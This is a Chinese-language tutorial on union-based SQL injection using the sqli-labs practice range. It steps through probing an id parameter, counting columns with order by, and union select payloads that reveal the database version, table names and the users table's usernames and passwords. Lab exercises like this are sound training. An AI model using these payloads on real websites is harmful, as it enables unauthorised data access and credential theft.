1.1使用条件
页面对不同的查询语句有不同的回显结果
根据每一步的返回结果判断和进行下一步操作
2.1基本流程
判断是否具有sql注入条件
判断sql注入漏洞是否存在及类型
判断sql查询字段数
3.实例演示
3.1sql靶场less-1
在此小编用sql靶场第一关跟第二关来演示SQL注之联合查询注入
进行sql注入,首先需要判断该网页是否具有sql注入的条件:是否为动态网页,前后端是否具有数据信息交互功能(黑盒测试)
第一关提示输入id参数,但是该网页没有输入点,盲猜输入点在URL处
在该网页URL处输入
http://sqli-labs/Less-1/?id=1
该页面得到两个数据回复信息 知道了该网页是动态网页
3.2sql靶场less-2
判断时候具有sql注入的前提条件 是否有sql注入漏洞,sql的类型
在该页面url处输入?id=2,该页面回复数据,判断出有sql注入的条件
在该网页url处?id=2',页面回复信息错误,初步判断具有语法漏洞
在url处输入?id=2# ,页面回复信息错误
在url处输入?id=2 and 1=1 # 页面正常回复数据
在url处输入?id=2 and 1=2 # 页面无数据回复 判断此处有数字型sql注入漏洞
利用order by 二分法探索sql查询属性字段列数
该网页URL处输入?id=2 order by 5 #
,页面回显错误信息
该网页URL处输入?id=2 order by 3 #
,页面回显正确数据信息
在该网页URL处输入?id=2 order by 4 #
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
在该网页URL处输入?id=-2 union select 1,version(),database() #
,页面2、3位分别回显数据库版本信息、数据库名
联合利用inforation_schema库tables表探测security数据库表名
在该网页URL处输入?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’seceurity’ #;可以看到页面第三位爆出securiy库中所有表名
在该网页URL处输入?id=-2 union select 1,group_concat(username),group_concat(password) from users #
;页面2、3位爆出(username、password)关键敏感信息